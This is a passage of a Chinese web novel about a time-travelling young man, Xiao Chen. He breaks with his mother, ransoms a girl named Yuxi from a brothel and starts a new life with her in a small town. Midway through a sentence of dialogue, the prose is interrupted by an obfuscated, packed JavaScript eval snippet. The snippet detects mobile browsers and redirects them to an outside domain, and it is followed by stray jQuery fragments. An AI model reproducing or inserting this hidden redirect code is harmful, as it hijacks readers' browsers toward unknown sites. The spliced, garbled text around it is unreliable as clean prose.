李傲雪抬起泪眼,坚定地说道:“我没有撒谎,母亲若是不信,可以叫来少爷问一问。”她满心期望肖晨能当面对质,好还自己一个清白。 肖母虽满心不愿相信李傲雪所言,但见她如此坚持,也不禁有些犹豫。思索片刻后,她终究还是吩咐丫鬟:“去,把少爷叫过来。我倒要看看,这到底是怎么回事。” 丫鬟领命匆匆而去。不多时,肖晨一脸疑惑地走进厅中,看到跪在地上的李傲雪和面色阴沉的母亲,心中暗自叫苦,已然猜到几分缘由。他向肖母行礼道:“母亲,唤孩儿前来,所为何事?” 肖母盯着肖晨,目光中带着审视,冷冷说道:“你媳妇说你结交风尘女子,还看过不少女子身体,让她不许侮辱那些人,可有此事?” 肖晨心中一紧,没想到李傲雪竟将此事告知母亲。他一时有些语塞,不知该如何解释。犹豫片刻,他决定还是如实相告,硬着头皮说道:“母亲,此事确有,但并非您想的那样。那些女子并非风尘女子,只是孩儿以前的朋友,我们之间是纯粹的友谊。” 肖母一听,脸色愈发难看,怒喝道:“纯粹的友谊?男女之间何来纯粹友谊?还看过女子身体,成何体统!你……你真是让我太失望了!” 肖晨焦急地看着肖母,连连摆手解释道:“这不是您想的那样,反正她们是我的好朋友,我们之间没有做出什么逾矩之事,您可千万别乱想啊。我可没有那种癖好。” 肖母气得站起身来,手指着肖晨,浑身微微颤抖:“没有逾矩?男女之间,看了身体还不算逾矩?你说的这叫什么话!你自幼读书明理,怎如今说出如此荒唐言语。” 李傲雪跪在一旁,看着肖晨急切解释的模样,心中五味杂陈。一方面,她希望肖晨能说清楚,还自己公道;另一方面,又因肖晨对那些“朋友”的维护,心中仍隐隐作痛。 肖晨满脸无奈,深知古代观念与自己认知差异巨大,不知该如何让母亲明白。他深吸一口气,尽量让语气平稳:“母亲,在孩儿原来生活的地方,人与人之间相处方式不同。朋友间相互坦诚,并非像这里所想的那般不堪。孩儿与她们,真的只是纯粹友情,并无任何不当行为。” 肖母怒极反笑:“好一个相处方式不同!难道你原来生活之地,皆是这般不知礼义廉耻之徒?我肖家世代书香,容不得你这般胡作非为。你若还认我这个母亲,就与那些女子断个干净,好好与傲雪过日子。” 肖晨满脸无奈与焦急,望着肖母说道:“母亲,我是想见她们,可是根本见不到啊。您就不要再侮辱我的朋友了,她们真的都是很好的人。而且她们没有生活在这里,她们在另一个遥远的地方,和这里的一切都不一样。” 肖母一听,更加恼怒,大声斥责道:“即便远在他方,行为如此放荡,也绝非良善之辈。你口口声声维护她们,却丝毫不顾你媳妇的感受,也不顾及肖家的颜面。你到底知不知道自己在说什么!” 李傲雪跪在一旁,心中一阵刺痛,她看着肖晨,眼中满是哀怨与委屈:“少爷,您心中只有您那些朋友,可曾想过我的感受?今日之事,您让我在母亲面前如何自处?” 肖晨看着李傲雪伤心的模样,心中有些愧疚,但仍说道:“傲雪,我知道今日之事让你受委屈了,可我不能任由母亲误会我的朋友。她们对我来说,就如同亲人一般,我不能听着旁人诋毁她们。” 肖母气得坐回椅子,喘着粗气说道:“好,好得很!你为了那些不知所谓的女子,竟这般与我和你媳妇说话。我看你是被那些人带坏了,连基本的礼义都不顾了。今日我便把话撂这儿,你若还想在肖家好好过,就绝不能再提那些女子半个字!” 肖晨情绪激动,眼眶泛红,冲着肖母大声吼道:“我凭什么不能提?谁想在这里过?我还想回去呢,你以为我稀罕这里!”积压在心中许久的郁闷与无奈,在这一刻如火山爆发般倾泻而出。 肖母被肖晨的激烈反应震住,一时愣在原地,脸上满是错愕与不可置信。她颤巍巍地指着肖晨,嘴唇抖动着,却说不出完整的话:“你……你这逆子,竟说出这般大逆不道的话……” 李傲雪也被吓得不轻,她没想到肖晨竟会对肖母如此顶撞。她跪在地上,心急如焚,既担心肖晨的过激言行会惹得肖母更加生气,又为这混乱不堪的局面感到绝望。她伸手拉了拉肖晨的衣角,带着哭腔劝道:“少爷,您别再说了,快给母亲赔个不是吧……” 肖晨深吸一口气,稍稍平复了下情绪,但眼神依旧倔强:“母亲,我并非有意顶撞您。只是在这里,很多事我都无法适应,无法理解。我的朋友们对我很重要,她们在我心中的地位,不是旁人能够诋毁的。我知道我的话可能让您生气,但这都是我的真心话。” 肖母缓缓摇头,眼中满是失望与痛心:“你……你简直不可理喻。为了那些虚无缥缈的所谓朋友,你连自己的家、自己的身份都不顾了。既然如此,你……你就别认我这个母亲,别再回这个家了!”说罢,她用手帕捂住脸,身子微微颤抖着,仿佛一瞬间苍老了许多。 10. 和家人闹掰 肖晨咬了咬牙,决然道:“不回就不回,我本来就是要走的!”语毕,他转身便大步流星地离开了家,头也不回。 踏出家门的那一刻,外头凛冽的风扑面而来,吹得他衣袂猎猎作响。他心中五味杂陈,既有着与家人争执后的烦闷,又隐隐生出一丝解脱之感。他暗自思忖:“这样也好,省得到时候自己回现代有什么不方便。” 街道上行人来来往往,可他却觉得自己与这周遭的一切格格不入。回想刚刚家中剑拔弩张的场景,肖晨满心无奈。他明白自己与母亲、李傲雪之间,因观念差异如隔着一道难以跨越的鸿沟。而这古代的生活,诸多规矩和束缚,也让他愈发怀念现代的自由与洒脱。 此刻,他的脑海中不禁浮现出那些现代朋友的面容,想起曾经与他们共度的欢乐时光。“或许,只有回到属于我的世界,才真正能找到那份自在吧。”肖晨一边想着,一边加快了脚步,似乎想要尽快远离这个让他烦恼不断的地方,去追寻那不知何时才能实现的回归现代的希望。 肖母话一出口,瞬间就后悔了,脸上血色尽失。她就只有这么一个儿子,和老爷三十岁才好不容易盼来这根独苗,一直视作心头宝。如今竟冲动之下说出这般决绝的话,倘若儿子真的就此记恨,不再认自己,往后的日子可怎么过? 想到这儿,肖母只觉一阵天旋地转,身子晃了晃,险些摔倒。李傲雪见状,赶忙起身扶住她,焦急唤道:“母亲,您别着急,少爷他……他许是一时气话,过些时候便会回来的。” 肖母紧紧抓住李傲雪的手,像是抓住最后一根救命稻草,声音颤抖:“傲雪啊,都怪我,刚刚太冲动了。这孩子从小就有自己的主意,万一他真的……真的不回来了,可如何是好?”说着,泪水不受控制地涌出。 李傲雪心中同样难过,但还是强忍着安慰道:“母亲,少爷不会不管您的。他定是在外面消消气,等想明白了,自然会回家。您先保重身子,莫要气坏了自己。”她嘴上虽这般说,可心里也没底,毕竟肖晨这次看起来格外决绝。 肖母微微点头,用帕子擦了擦泪,喃喃道:“但愿如此,但愿如此啊……”此刻,她满心自责与担忧,只盼着儿子能快点回来,一家人还能像从前那般和和美美。 肖晨满腹心事,在大街上漫无目的地走着。忽然,“啪”的一声,一朵花不偏不倚砸到他头上。他正满心烦躁,刚要发火,抬眼却瞧见一位姿容秀丽的女子。 那女子身着淡粉色罗裙,裙摆随风轻扬,如弱柳扶风般走上前来,面露惊慌与歉意,连忙福身说道:“公子,实在对不住,小女子一时失手,这才……”声音清脆悦耳,如黄莺出谷。 肖晨看着她楚楚可怜的模样,到嘴边的怒火顿时消散,摆了摆手说道:“没关系,以后可要小心点。要是砸到别人,可不会有我这么好说话了。” 女子听闻,微微松了口气,脸上浮现出一抹感激的笑容,犹如春日绽放的花朵般明媚:“多谢公子宽宏大量,小女子定当谨记。”说罢,她弯腰捡起那朵掉落的花,轻轻抚了抚花瓣,动作轻柔而优雅。 肖晨看着女子手中的花,随口问道:“你怎么拿着花,却又不小心掉落了?”女子抬起头,美目流转,略带羞涩地解释道:“这花是我刚从街边花贩处买来,本想拿回去插瓶,谁知方才不小心手一滑……实在是对不住公子。” 肖晨还没来得及回应那漂亮女子,冷不丁冒出几个女子,一下子将他团团围住。其中一个穿着艳丽、眉眼含俏的女子娇声问道:“公子,这一大早是要去哪里呀?” 肖晨一脸茫然,打量着周围这些陌生女子,警惕地反问:“你们是谁?” 几个女子相视一笑,发出一阵银铃般的笑声。站在最前面的女子,轻摇手中的帕子,眼波流转,调侃道:“看来公子还是个雏儿呢。连我们都不知道,这可是香满楼呀!” 肖晨听闻“香满楼”三个字,心中一凛,瞬间明白过来这是什么地方。他眉头微皱,有些尴尬又有些无奈,说道:“我本就路过此地,无意冒犯。还请各位姑娘让让。”说罢,便想从人群中挤出去。 可这些女子似乎并不打算轻易放过他,另一个女子伸手轻轻拉住他的衣袖,娇嗔道:“公子这般着急走做什么?难得来一趟香满楼,不如进去坐坐,我们姐妹定当好好招待公子。”周围的女子也纷纷附和,场面一时有些僵持不下。 肖晨一脸窘迫,急忙说道:“不用,我真没有这种想法,你们放开我吧。”然而,这些女子哪肯轻易罢休。 一个女子掩嘴轻笑,眉眼间透着狡黠:“多好的机会呀,公子都不进来坐坐。” 肖晨心中一阵烦闷,左右环顾,一时间竟想不出自己还能去哪。犹豫片刻后,他无奈地说道:“那……我进去,坐哪儿?” 女子们一听,顿时喜笑颜开。方才拉他衣袖的女子亲昵地挽住他的胳膊,娇声道:“公子这边请,楼上雅间宽敞舒适,最适合公子了。”说罢,便簇拥着肖晨往楼里走去。 踏入香满楼,内部装饰奢靡华丽,雕梁画栋,轻纱幔帐随风摇曳。空气中弥漫着淡淡的脂粉香和熏香混合的味道。肖晨被带到楼上一间雅间,刚一坐下,就有女子忙着倒茶,另有女子笑意盈盈地挨着他坐下,问道:“公子,想听曲儿还是看舞呀?” 肖晨有些不自在地坐在那儿,面对周围莺莺燕燕的热情,连忙摆手道:“都不用。你们把刚才跟我说话,在街上掉花砸到我的那位女子叫来就行。”说着,他从怀中掏出一锭银子,扬了扬,“谁要是能把她请来,这银子就是谁的了。” 众女子听闻,眼睛顿时亮了起来。其中一个反应快的,立刻起身说道:“公子稍等,我这就去寻她。”说罢,匆匆离开雅间。 剩下的女子们也没闲着,有的继续给肖晨斟茶,有的在一旁轻言细语地说着俏皮话,试图逗肖晨开心。但肖晨心思全在等那位掉花的女子上,只是礼貌性地应付着。 不多时,出去的女子回来了,身后还跟着那位身着淡粉色罗裙的女子。肖晨一见,赶忙起身。淡粉罗裙女子略带惊讶地看着肖晨,福身行礼道:“公子,不知找小女子所为何事?” 肖晨笑了笑,示意她坐下,说道:“只是想与姑娘单独聊聊,并无他意。”说罢,他将手中的银子递给先前去找人的女子,那女子欢天喜地地接过,退了出去,还贴心地带上了门。 她见门关上,神色有些紧张,轻声说道:“公子,刚才是我不对,可我不陪客的。” 眼神中满是戒备。 肖晨赶忙摆摆手,温和地说道:“我又没让你陪我。姑娘不用紧张,就把我当一个普通朋友就好。”他脸上挂着真诚的笑容,试图缓解这略显紧绷的气氛。 女子微微一愣,眼中的戒备之色稍稍褪去了些,但仍带着一丝疑惑,轻声问道:“公子当真只是想与小女子做朋友?” 肖晨点了点头,说道:“自然。方才在街上匆匆一面,我觉得姑娘性情纯善,就想与姑娘交个朋友,聊聊天。在这世上,能遇到投缘之人实属不易。”他语气诚恳,希望能让女子安心。 女子听了肖晨这番话,神色渐渐放松,轻轻抿嘴一笑,说道:“既然公子如此说,那小女子便恭敬不如从命了。只是小女子出身卑微,怕是……” 肖晨连忙打断她的话:“姑娘切莫妄自菲薄。交朋友看重的是心,而非出身。” 他的目光中满是真挚,希望能与这位女子建立起一份简单纯粹的友谊。 肖晨一脸关切地说道:“你怎么会在这里呀?你刚才要真是把花朵砸在别人头上,可就危险了,她们可没有我这么好说话。” 女子微微低下头,神情有些黯然,轻声说道:“实不相瞒,我家中遭遇变故,为了生计才来到这香满楼做些杂役。今日也是一时疏忽,才差点闯下大祸,幸亏遇见公子您这般宽厚之人。” 肖晨心中不禁泛起一丝同情,说道:“唉,世事无常,着实不易。但在这鱼龙混杂之地,你往后行事还是要多小心才是。若是再遇到什么难处,不妨说与我听听,能帮上忙的,我定会尽力。” 女子抬起头,眼中闪过一丝感动,说道:“多谢公子关怀,小女子何德何能,能得公子如此关照。只是小女子不想再给公子添麻烦。” 肖晨笑了笑,安慰道:“别这么见外,咱们既已相识,便是朋友。朋友之间,相互帮衬是应该的。” 他的笑容温暖而真诚,希望能给这位身处困境的女子一些力量。 女子眼中泪光闪烁,声音带着一丝哽咽说道:“谁能跟我这样的人做朋友,像我这样的女子,以后也只是卖笑的命运,从来没有人拿我当人看。” 肖晨心中一揪,看着她满是悲戚的面容,认真且坚定地说道:“我愿意与你做朋友,在我眼中,你与旁人并无不同,都是值得尊重的。命运并非一成不变,你怎可这般妄自菲薄。”他目光灼灼,透着不容置疑的真诚。 女子微微一怔,似乎从未想过会有人这般对自己说话。她嘴唇轻颤,泪水忍不住夺眶而出:“公子……您的话,小女子从未听过。长久以来,大家都觉得我不过是这风尘之地的卑微女子,生来就该任人轻贱。” 肖晨眉头微皱,语气中满是不平:“这世间偏见太多,实在荒谬。每个人都有自己的尊严和价值,怎能因身处何地就被随意评判。你若信得过我,往后有任何打算,我都愿助你一臂之力,脱离这……”他环视四周,微微皱眉,“脱离这让你不快之地。” 女子眼中燃起一丝希望,却又带着几分不敢置信,急切问道:“你说的可是真的?只是我这样要出去谈何容易。” 肖晨毫不犹豫,目光坚定地看着她:“自然是真。你且告诉我,你的赎身银子是多少?到时候我帮你便是。” 女子咬了咬嘴唇,犹豫片刻后,声音低低地说道:“妈妈说了,若要赎身,需一百两银子。可这对我来说,简直是天文数字。公子,您……您真愿意为我出这笔钱?”说罢,她眼中满是期盼与担忧交织的复杂神情。 肖晨轻轻点头,神色沉稳:“一百两银子虽不是小数目,但并非凑不出来。你放心,只要你真心想离开,我定会想办法。不过此事还需从长计议,我们得找个稳妥的法子,既能顺利赎你出去,又不惹出麻烦。” 女子感动得泪水再次滑落,她“扑通”一声跪下,哽咽道:“公子大恩,小女子无以为报。若能脱离此处,往后愿为公子做牛做马。” 肖晨赶忙上前扶起她,说道:“快别这样,我帮你并非图你回报。只盼你能脱离苦海,过上舒心日子。起来说话,莫要行此大礼。” 女子态度坚决,认真说道:“公子,若您不接受我的报答,我实在不能心安理得接受您这莫大的恩惠。” 肖晨无奈地笑了笑,略带调侃地说:“你怎么这么执着。那你说说,你想怎么报答我?不会是要以身相许吧?”说完,他好奇地看着女子,想知道她心中的想法。 女子脸色微微一红,连忙摆手道:“公子误会了,小女子并非此意。只是在这世上,小女子孑然一身,实在没什么拿得出手的东西。若公子不嫌弃,往后小女子愿为您打理家务,洗衣做饭,以报公子恩情。”她眼神真挚,言语诚恳,满心希望肖晨能答应。 肖晨思索片刻,觉得女子一片赤诚,若执意拒绝,恐怕会伤她的心。于是说道:“既然如此,那便依你。但你也别把自己当成下人,我只当多了个朋友,大家相互照应便是。等你赎身出来,我们再从长计议往后的日子。” 女子感激涕零,连连点头:“多谢公子成全,小女子定不会让公子失望。”此刻,她心中对未来的生活燃起了前所未有的希望,对肖晨的感激之情更是难以言表。 肖晨看着她,目光温和:“你在这儿用花命名,那想必还没有自己真正的名字吧。不如,我帮你想一个。就叫做玉溪,玉,自古便是美的代名词,象征着美好纯净,希望你以后的生活能如水一般清澈,顺遂无忧。” 女子听闻,眼中满是惊喜与感动,轻声念道:“玉溪……这名字真好听,多谢公子赐名。从今日起,我便叫玉溪了。”她微微低头,一抹红晕悄然爬上脸颊,新名字仿佛给她灰暗的生活注入了一道曙光。 肖晨笑着点点头:“好,玉溪。往后你有了新名字,也会有全新的生活。我这就着手准备银子,尽快帮你赎身。只是这过程或许得费些时日,你在这儿还需暂且忍耐。” 玉溪赶忙说道:“公子费心了,小女子明白。能得公子相助,玉溪已感激不尽,愿意等候。”她抬头看向肖晨,眼神中充满信任与依赖,仿佛此刻肖晨就是她在这世间唯一的依靠。 肖晨神色有些尴尬,犹豫片刻后说道:“实不相瞒,我今天跟家里闹了点别扭,心里烦闷得很,现在实在不想回去。我能不能在你这里住几天?你放心,我不会给你惹麻烦,也千万别把我的事情透露给别人知道了。” 玉溪微微一愣,面露难色,但看着肖晨满是疲惫与无奈的神情,心中又不禁泛起一丝同情。她思索了会儿,轻声说道:“公子,这香满楼人多嘴杂,怕是不太方便。不过,小女子在附近有间小屋子,虽是简陋了些,但胜在清净,公子若不嫌弃,可去那里暂避几日。只是……” 肖晨连忙说道:“不嫌不嫌,能有个地方落脚就好。你放心,若有不便之处,你尽管说。” 玉溪轻轻摇头:“倒也不是不便,只是怕委屈了公子。那屋子许久未住人,我需先去收拾一番。公子且在此稍等,我尽快回来。”说罢,她福了福身,匆匆离去。 肖晨看着玉溪离去的背影,心中默默感慨,在这与家中闹翻的困境时刻,竟能得她这般相助,实在难得。他暗自思忖,日后定要好好报答这份情谊,尽快帮她脱离苦海。 不多时,玉溪便回来了,她告知肖晨屋子已经收拾妥当。肖晨跟着玉溪,七拐八拐,来到了那间小屋。 屋子确实不大,陈设也极为简单,一张床、一张桌子和几把椅子便是全部家当,但收拾得干净整洁,还散发着淡淡的皂角香气。肖晨环顾四周,心中涌起一股别样的温暖,在这陌生又复杂的环境里,竟有了一处暂时的安身之所。 “公子,您就暂且在这里住下吧。虽然简陋,好在能遮风挡雨。”玉溪有些局促地说道。 肖晨赶忙笑着回应:“已经很好了,玉溪,真的多谢你。若不是你,我都不知该如何是好。” 接下来的几日,肖晨便在这小屋里住了下来。玉溪每日忙完香满楼的活计,便会抽空过来,给肖晨送些吃食,陪他说说话。两人渐渐熟络起来,谈话也愈发深入。 肖晨跟玉溪讲述着自己心中那些奇奇怪怪的想法,还有他所憧憬的不一样的生活,比如人人平等,女子也能读书识字、抛头露面做一番事业。玉溪总是静静地听着,眼中满是好奇与向往,那些新奇的观念仿佛为她打开了一扇通往新世界的大门。 而玉溪也会跟肖晨诉说自己的过往,家中如何遭遇变故,又是怎样被迫来到香满楼。她言语间虽满是无奈,却从未放弃对未来的期望。肖晨愈发觉得玉溪坚韧又善良,暗下决心一定要尽快凑够银子帮她赎身。 然而,世上没有不透风的墙。肖晨离家多日未归,肖家早已乱成一团。肖母懊悔不已,每日以泪洗面,差人四处寻找肖晨的下落。终于,有眼尖的下人发现了肖晨与玉溪接触的蛛丝马迹,赶忙回肖家告知了肖母。 肖母听闻儿子竟与香满楼的女子往来密切,还住在女子的屋子,顿时气得火冒三丈。她觉得定是那女子狐媚勾引自家儿子,当下便决定带着家丁,去那小屋将肖晨强行带回家。 当肖母气势汹汹地带着人赶到小屋时,肖晨和玉溪正坐在桌前交谈。门突然被撞开,肖晨和玉溪皆是一惊,抬头便看到满脸怒容的肖母。 “你这个逆子,竟躲在这里与这等女子厮混!”肖母手指着肖晨,气得浑身发抖。 肖晨赶忙起身,挡在玉溪身前,说道:“母亲,您误会了,玉溪她不是您想的那种人。” 肖母哪里听得进去,大声呵斥道:“哼,不是那种人?你为了她,几日不归家,还住在这不清不楚的地方。今日,你必须跟我回去!” 玉溪吓得脸色苍白,她没想到会突然发生这样的事,嗫嚅着说道:“公子,老夫人,都怪小女子,是小女子的错……” 肖晨转头安慰玉溪:“你别怕,有我在。”而后又看向肖母,坚定地说:“母亲,我不会跟您回去的。您若执意如此,只会让事情变得更糟。” 肖母瞪大了眼睛,不可置信地看着肖晨,质问道:“你真的要为了她留在这里?”眼中满是痛心与愤怒。 肖晨深吸一口气,认真地说道:“母亲,我又没做什么出格的事情。玉溪她身世可怜,我只是想帮她。您要是真看不惯,可以回去。就算我离开了这里,我还是会去其他地方的,我不想再按照您安排的路走下去了。”他的眼神坚定,透着一股不容动摇的决心。 肖母气得浑身发抖,手指着肖晨,声音颤抖地说:“好,好得很!你为了一个不知来历的女子,竟然这般忤逆我。我含辛茹苦把你养大,你就是这样报答我的?”说罢,她的眼眶红了起来。 肖晨心中一阵刺痛,语气稍微缓和了些:“母亲,我知道您养育我不易,可我也有自己的想法和判断。玉溪并非您所想的那般不堪,她善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993171|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良且坚韧。我只是想帮她摆脱困境,这难道有错吗?” 肖母冷哼一声:“善良?在那种地方出来的女子,能有多善良?你被她迷了心智,竟说出这般糊涂话。今日你若不跟我回去,就别再认我这个母亲!”她下了最后通牒,希望能以此让肖晨回心转意。 肖晨看着肖母,内心无比纠结。一边是生养自己的母亲,一边是想要帮助的玉溪以及对自由生活的向往。沉默片刻后,他缓缓说道:“母亲,对不起。但我心意已决,还望您能理解。” 肖母听到这话,如遭雷击,踉跄了几步,险些摔倒。身后的家丁赶忙上前扶住她。她用手帕捂住脸,哭着说道:“罢了,罢了,你……你就当没有我这个母亲吧!”说完,在众人搀扶下转身离去。 看着母亲离去的背影,肖晨心中五味杂陈,满是愧疚。玉溪在一旁看着这一幕,泪水也忍不住流了下来,她轻声说道:“公子,都怪我,让您和老夫人闹成这样……” 肖晨轻轻摇头:“这不怪你,是我和母亲观念不同。事情发展到这一步,我也不想看到,但我不会后悔自己的决定。玉溪,我们继续想办法帮你赎身,等你脱离苦海,一切都会好起来的。”他的目光重新变得坚定,似乎在给自己也给玉溪打气。 玉溪满脸泪痕,焦急地说道:“公子,我不能接受你的帮助了。你为了我,和老夫人闹到如此地步,我怎能心安。你这样,让你的母亲怎么办?”她眼中满是自责与担忧,觉得自己成了破坏他们母子关系的罪魁祸首。 肖晨神色凝重,沉思片刻后说道:“玉溪,事已至此,即便我现在回头,母亲和我之间的隔阂也已种下。在这里,我确实也不能留下去了。你去找鸨母来吧,我当面和她谈你的赎身之事。”他心意已决,语气中透着一股毅然决然。 玉溪犹豫了,她深知肖晨此举的艰难,也明白自己一旦去找鸨母,肖晨便再无退路。可看着肖晨坚定的眼神,她知道自己无法改变他的决定。咬了咬牙,玉溪转身快步朝香满楼走去。 不多时,玉溪带着鸨母来到了小屋。鸨母一身华丽服饰,脸上挂着世故的笑容,眼神却精明算计。一进门,她便打量起肖晨,阴阳怪气地说道:“哟,这位公子,听闻您要替玉溪赎身呐?” 肖晨镇定地迎上鸨母的目光,说道:“没错。你开个价吧,只要合理,我绝不还价。” 鸨母眼中闪过一丝惊喜,她原本以为只是个寻常恩客,没想到竟遇到个愿意为姑娘赎身的冤大头。略作思索,她伸出一根手指,说道:“既然公子如此爽快,那老身也不啰嗦,一百五十两银子。少一文,这姑娘可就走不了。” 肖晨眉头微皱,他虽知道鸨母狮子大开口,但此时也不想过多纠缠。沉吟片刻后,说道:“好,一百五十两就一百五十两。但我有个条件,银子给你之后,你必须立即给玉溪自由,从此不得再为难她。” 鸨母脸上堆满了笑,连连点头:“公子放心,只要银子到手,老身保证绝不再干涉玉溪分毫。” 肖晨当下便取出身上所带银票,又写了封信,让小厮速回肖家去取剩余银两。他心中清楚,这赎身之事办完,自己与肖家的关系怕是更加难以挽回,但他看着一旁忧心忡忡的玉溪,觉得一切都值得。 不多时,小厮带着银两返回。肖晨将银子交给鸨母,鸨母仔细查验无误后,从怀中掏出一份契约,当着众人的面撕得粉碎,笑着说道:“从今日起,玉溪便与我香满楼再无关系了。” 玉溪看着地上的碎契约,泪水再次夺眶而出。她满心感激地看向肖晨,一时竟不知该如何表达自己的心情。而肖晨看着重获自由的玉溪,心中也松了一口气,他知道,接下来自己和玉溪都将面临未知的前路,但此刻,他只希望能带着玉溪一起,开启新的生活。 肖晨转过身,对着身旁忠诚的小厮阿成,神情严肃且满是嘱托之意:“阿成,以后我不在家里,母亲就全靠你多照应着了。你也知道,她这脾气,又爱操心,往后凡事多顺着她些。还有,家里的钱以后就不要给我了,我既然决定离开,就打算靠自己。” 阿成眼眶泛红,声音带着一丝哽咽,点头应道:“公子放心,阿成定会尽心尽力照顾老夫人,您在外面也要多多保重自己。” 肖晨微微颔首,拍了拍阿成的肩膀,随后看向玉溪,目光柔和下来:“玉溪,看看你有什么行李,收拾一下,咱们这就走吧。” 玉溪轻轻点头,她环视这简陋却承载了这段特殊时光的小屋,走到床边,拿起一个小小的包裹,里面装着几件旧衣物和她视若珍宝的一支木簪。她微微攥紧包裹,转身对肖晨说道:“公子,我好了,咱们走吧。” 肖晨牵起玉溪的手,迈出小屋。阳光洒在他们身上,仿佛预示着新的开始。阿成望着两人离去的背影,心中满是不舍,但也暗暗发誓,一定会遵照公子的嘱托,照顾好老夫人。 肖晨和玉溪沿着街道缓缓前行,未来的路充满未知。肖晨虽心中牵挂母亲,但也明白自己的选择无法回头。他侧头看向玉溪,眼中满是坚定与温柔:“玉溪,别怕,往后无论遇到什么,我都会陪着你。咱们一起去寻个安稳的地方,好好生活。” 玉溪抬头看着肖晨,眼中闪烁着泪光与希望:“嗯,公子,只要能和您一起,玉溪什么都不怕。” 肖晨带着玉溪来到了一个宁静祥和的小镇。小镇青石板路蜿蜒,街边店铺林立,透着别样的烟火气。 他们在镇中寻到一处院子准备租住。房主是个热情的大婶,看到肖晨和玉溪一同前来,上下打量一番后,满脸笑意,笃定地说:“哟,瞧你们俩,一看就是恩爱的小夫妻。这位小郎君长得可真俊呐,姑娘你可真是好有福气。” 玉溪一听,脸颊瞬间绯红,羞涩地低下了头。肖晨也有些不好意思,不过还是礼貌地笑了笑,解释道:“大婶,我们……”话未说完,玉溪轻轻扯了扯他的衣角,抬头用略带祈求的眼神看着他,示意他别否认。肖晨一愣,随即明白玉溪或许是觉得以夫妻之名在此居住,能省去许多麻烦和闲言碎语,便将到嘴边的话咽了回去。 大婶没注意两人这细微的互动,自顾自地接着说:“这院子啊,干净又敞亮,租金也公道。你们小两口住进来,保管舒心。”肖晨点点头,说道:“大婶,看这院子确实不错,我们租了。” 当下,双方谈好租金,肖晨付了银子。大婶乐呵呵地将钥匙交给肖晨,又热情地指点着屋内各处:“这灶火啊,用起来可方便了,那边水缸,打水也近。有啥事儿,尽管来问我。” 待大婶离开后,肖晨和玉溪走进院子。院内有几株不知名的花草,散发着淡淡香气。玉溪环顾四周,脸上露出一丝欣喜:“公子,这儿感觉真好,以后……我们就要在这儿生活了。” 肖晨看着玉溪,心中满是对新生活的期待:“嗯,这里会是我们新的开始。往后,咱们就安心在这小镇过日子。” 玉溪微微皱眉,眼中闪过一丝担忧:“公子,你就这样离开家里,万一他们找过来怎么办?肖家有权有势,我们……” 肖晨轻轻握住玉溪的手,安抚道:“别想那么多啦,离开他们,我才真正觉得自由。我既然做了这个决定,就不怕面对后果。而且这小镇偏僻,他们未必能找过来。就算真找来了,我也有办法应对。”他目光坚定,试图驱散玉溪心中的忧虑。 接着,肖晨环顾略显空荡的院子,说道:“咱们先把生活安顿好。你去集市上买一个大床,再多买点被褥,还有布匹。有了这些,基本就能生活了。我呢,也琢磨着在镇上寻个营生,往后的日子肯定会越来越好。” 玉溪听着肖晨的话,心中的担忧稍稍减轻,她用力点了点头:“好,公子,我这就去办。”说罢,便带着钱袋出门而去。 集市上热闹非凡,人来人往。玉溪穿梭在各个摊位之间,精心挑选着大床。她看中了一款木质坚实、雕花精美的床,想着肖晨睡在上面一定舒适。选好床后,又去挑选被褥,摸了又摸,挑出最柔软暖和的。买完这些,她又来到布摊前,挑选了几种素净又耐用的布匹,想着可以给肖晨和自己做些新衣裳。 待一切购置妥当,玉溪雇了几个伙计,将东西搬回院子。肖晨看到她归来,赶忙迎上前帮忙。两人齐心协力,将床铺好,被褥摆放整齐,又把布匹收进屋内。看着焕然一新的屋子,两人都露出了欣慰的笑容。 “公子,这样我们的家就像个家的样子了。”玉溪眼中满是喜悦。 肖晨看着她,温柔地说:“对,这就是我们的家。往后,不管遇到什么,我们都一起面对。”此刻,阳光透过窗户洒在屋内,映照着他们充满希望的脸庞,温馨而美好。 11. 对不起,我不能爱你 玉溪微笑着说道:“公子,忙了这许久,我去做饭吧,咱们也该好好吃顿热乎饭。”她眉眼弯弯,满是对新生活的期待。 肖晨点头应道:“好呀,辛苦你了。那我先去打点水,一会咱俩可以洗个澡,奔波了这么久,也能好好放松一下。”说完,他便提起水桶,往院子里的水井走去。 来到井边,肖晨熟练地摇起辘轳,清澈的井水缓缓被提了上来。看着那清凉的井水,他想着等会洗去一路的疲惫,往后便能全身心投入这全新的生活,心情也愈发轻松。 另一边,玉溪走进厨房。厨房虽不大,但锅碗瓢盆一应俱全。她先将炉灶生起火,接着从带来的包裹里拿出些简单食材。思索片刻后,决定做一顿简单却可口的饭菜。她淘米下锅,又切了些青菜,准备做个青菜汤,再配上些干粮,虽不丰盛,却也能饱腹。 不一会儿,肖晨提着满满两桶水回到屋内,将水倒入大木盆中。他擦了擦额头上的汗珠,喊道:“玉溪,水准备好了,等你做完饭,咱们就可以舒舒服服洗个澡。” 玉溪在厨房回应道:“好嘞,公子,饭也快好啦。”不多时,饭菜的香气弥漫开来。玉溪端着热气腾腾的饭菜来到桌上,招呼肖晨:“公子,快来吃饭吧。” 两人坐在桌前,吃着简单的饭菜,却觉得格外香甜。饭后,肖晨先让玉溪洗澡。玉溪走进房间,关上房门,褪去身上的尘埃与疲惫。待她洗完,肖晨也走进房间,享受这片刻的惬意与放松。 洗完澡后,两人坐在院子里,月光如水洒在身上。肖晨看着玉溪,轻声说道:“玉溪,这就是我们的新生活,虽然简单,但我相信会越来越好的。”玉溪点头,眼中闪烁着光芒:“嗯,公子,只要和你在一起,我什么都不怕,未来一定会很美好的。” 肖晨望着月色,轻声开口:“玉溪,如今你已脱离苦海,往后的日子还长,你有想过怎么生活吗?或许找个好人家成家,如此你的生活或许会顺遂很多。” 玉溪听闻,心中猛地一紧,脸上的笑容瞬间凝固。她微微低下头,沉默片刻后,声音带着一丝颤抖说道:“公子,您……为何突然这么说?难道,您是想赶我走?”说罢,她抬起头,眼中满是委屈与不解,直直地看向肖晨。 